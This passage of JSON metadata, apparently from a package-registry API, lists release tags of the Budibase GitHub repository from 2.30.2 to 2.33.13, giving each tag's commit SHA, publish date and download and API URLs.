.33.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.13/manifests"},{"name":"2.33.12","sha":"d20146ecaf41947fe0b3b9eba45839c8dc13fe84","kind":"commit","published_at":"2024-10-29T17:18:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.12/manifests"},{"name":"2.33.11","sha":"820f9c398f34904f4d1dd591bb4552f7b27d1785","kind":"commit","published_at":"2024-10-29T17:02:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.11/manifests"},{"name":"2.33.10","sha":"56adb5e92dd05706031dbc1e1bfe404f852d1c1d","kind":"commit","published_at":"2024-10-29T16:44:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.10/manifests"},{"name":"2.33.9","sha":"2a7e9ecbeb4101cdb1e2871385299acc382e60d2","kind":"commit","published_at":"2024-10-29T16:19:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.9/manifests"},{"name":"2.33.8","sha":"fc3dc440fc950f9d9a8784e7defcb2a14640ffd5","kind":"commit","published_at":"2024-10-29T15:33:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.8/manifests"},{"name":"2.33.7","sha":"189f3438f121c1c07b47e723a23f7b3dc53dfe3e","kind":"commit","published_at":"2024-10-29T14:15:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.7/manifests"},{"name":"2.33.6","sha":"7e789afbfe0722ce5b03f7df09b6a81f5502dd87","kind":"commit","published_at":"2024-10-29T13:21:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.6/manifests"},{"name":"2.33.5","sha":"5cad630b255fb99732e10a76e1b94fa88eee459a","kind":"commit","published_at":"2024-10-29T11:52:20.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.5/manifests"},{"name":"2.33.4","sha":"3768cc462ab5ec61f33820735dd9bb8249858d0e","kind":"commit","published_at":"2024-10-28T14:55:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.4/manifests"},{"name":"2.33.3","sha":"184df942791d9aa0dac781353f97788a1945793e","kind":"commit","published_at":"2024-10-28T13:35:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.3/manifests"},{"name":"2.33.2","sha":"42086f36a2194c0d2ce038d5e81ee36c27d4ca16","kind":"commit","published_at":"2024-10-17T07:30:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.2/manifests"},{"name":"2.33.1","sha":"dac963a2ff1e01c28e63f69e8110fdcd17ff758d","kind":"commit","published_at":"2024-10-16T13:43:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.1/manifests"},{"name":"2.33.0","sha":"c150918773f4c2e58983869095e43fdac97a8e27","kind":"commit","published_at":"2024-10-15T13:46:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.33.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.33.0/manifests"},{"name":"2.32.17","sha":"abb01ba98a5538fd295d4acadff60472d0fc1ab0","kind":"commit","published_at":"2024-10-11T11:58:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.17","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.17/manifests"},{"name":"2.32.16","sha":"a1e55a5324fbf2917553a6bb235631b1c8abbfec","kind":"commit","published_at":"2024-10-10T15:28:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.16","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.16/manifests"},{"name":"2.32.15","sha":"923f677bc60f8164d8d41ac5599aa76e5488b082","kind":"commit","published_at":"2024-10-09T14:57:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.15","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.15/manifests"},{"name":"2.32.14","sha":"4414da710ca22cd212df5d0040c30013715b1766","kind":"commit","published_at":"2024-10-09T11:53:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.14/manifests"},{"name":"2.32.13","sha":"abd7b3b84e5e1fda05e4987e34cc66072d33e347","kind":"commit","published_at":"2024-10-09T09:12:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.13/manifests"},{"name":"2.32.12","sha":"7d6c32b8ac34c03979a5b4a5d6d46f5b9089d7d2","kind":"commit","published_at":"2024-10-07T17:15:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.12/manifests"},{"name":"2.32.11","sha":"9440dc98edec736ea902b3531719b770e9889dd7","kind":"commit","published_at":"2024-10-03T09:15:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.11/manifests"},{"name":"2.32.10","sha":"4b65ce4f8b51e55c9dc33de08337c8b8e0cbd7dd","kind":"commit","published_at":"2024-10-01T09:31:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.10/manifests"},{"name":"2.32.9","sha":"8462b4e839dde7f138f97a5361ca9eb45510eda1","kind":"commit","published_at":"2024-09-30T16:10:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.9/manifests"},{"name":"2.32.8","sha":"075be10f44d3b80bb0c31441c6eb6b100233209b","kind":"commit","published_at":"2024-09-25T15:33:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.8/manifests"},{"name":"2.32.7","sha":"2337a4b0b3e6916c8e7c3ce4a41f79b3507c3f68","kind":"commit","published_at":"2024-09-24T13:29:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.7/manifests"},{"name":"2.32.6","sha":"5d945b90ff8a650239eac13b5d9a2b7f54c6c973","kind":"commit","published_at":"2024-09-19T12:58:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.6/manifests"},{"name":"2.32.5","sha":"614132eb0462a071cbbcc6f0c867e589e1502108","kind":"commit","published_at":"2024-09-16T20:40:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.5/manifests"},{"name":"2.32.4","sha":"285d264d5fc26b2a8d12784c32792ce21b329b4a","kind":"commit","published_at":"2024-09-13T18:14:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.4/manifests"},{"name":"2.32.3","sha":"dabe401753c980ab4a1a038658a9c4ebb6604ddd","kind":"commit","published_at":"2024-09-12T17:07:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.3/manifests"},{"name":"2.32.2","sha":"7414cc0c09ccffad4dae5af02bb8b48f68c806b3","kind":"commit","published_at":"2024-09-12T13:03:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.2/manifests"},{"name":"2.32.1","sha":"9ac2ddc14b8c6642d4c16538445aaf03c563b85d","kind":"commit","published_at":"2024-09-12T10:32:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.1/manifests"},{"name":"2.32.0","sha":"4f740c001b95ec05e7c7a966e095d5ac7d71e1dc","kind":"commit","published_at":"2024-09-11T10:57:09.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.32.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.32.0/manifests"},{"name":"2.31.8","sha":"68678235d63de9f3ec74e44c2a7e8358c7f6f38d","kind":"commit","published_at":"2024-09-09T10:52:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.31.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.31.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.31.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.8/manifests"},{"name":"2.31.7","sha":"71e6986e972df14c625a47467f069ddf15890984","kind":"commit","published_at":"2024-09-06T08:43:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.31.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.31.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.31.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.7/manifests"},{"name":"2.31.6","sha":"03771bd25eb3090e358ef624610c886313c1a2ff","kind":"commit","published_at":"2024-09-04T11:14:19.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.31.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.31.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.31.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.6/manifests"},{"name":"2.31.5","sha":"8ec5f49f4a49a2b3ec2c63c1ce584ebbbb16aa36","kind":"commit","published_at":"2024-09-03T14:22:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.31.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.31.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.31.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.5/manifests"},{"name":"2.31.4","sha":"d5a79cb015846a0e9f39e61d6f8be53fa3e4d3b6","kind":"commit","published_at":"2024-09-02T09:36:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.31.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.31.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.31.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.4/manifests"},{"name":"2.31.3","sha":"1fab11bc1a80475bffd80c34842c44d7f8d08ffb","kind":"commit","published_at":"2024-08-29T08:54:12.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.31.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.31.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.31.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.3/manifests"},{"name":"2.31.2","sha":"f8598ff5faa0eec16e54366f83918601472d6f1b","kind":"commit","published_at":"2024-08-27T08:06:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.31.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.31.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.31.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.2/manifests"},{"name":"2.31.1","sha":"741d8d9df4716dec2f8102a5fc2c477e197c96d8","kind":"commit","published_at":"2024-08-21T17:43:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.31.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.31.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.31.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.1/manifests"},{"name":"2.31.0","sha":"6127aca09f36b89ce20c79d98a7ea9b1721a0e2e","kind":"commit","published_at":"2024-08-21T13:47:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.31.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.31.0/manifests"},{"name":"2.30.8","sha":"ae49b0309dd65997bdbd25879d57371338b45157","kind":"commit","published_at":"2024-08-20T12:37:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.30.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.30.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.30.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.8/manifests"},{"name":"2.30.7","sha":"760be9d6af8d24ef0e5a6854e53a9c3d566b0cc1","kind":"commit","published_at":"2024-08-20T06:50:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.30.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.30.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.30.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.7/manifests"},{"name":"2.30.6","sha":"c841e7bef7194be974546a0109b199335e15cc0a","kind":"commit","published_at":"2024-08-19T11:16:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.30.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.30.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.30.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.6/manifests"},{"name":"2.30.5","sha":"23fd4bbbcb0af880aa953f99f5c496c935d7ba4a","kind":"commit","published_at":"2024-08-19T09:50:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.30.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.30.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.30.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.5/manifests"},{"name":"2.30.4","sha":"f8eb72607234693f140d2fdfdb12ac4e5601a777","kind":"commit","published_at":"2024-08-16T14:42:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.30.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.30.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.30.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.4/manifests"},{"name":"2.30.3","sha":"7c3593c9291aa2bf87f475a029844d4c8c2b964a","kind":"commit","published_at":"2024-08-13T08:15:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.30.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.30.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.30.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.3/manifests"},{"name":"2.30.2","sha":"7322dda032ca94391aeeccf69e3ea40c691b9b6a","kind":"commit","published_at":"2024-08-08T13:21:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.30.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.30.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.30.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.30.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/reposi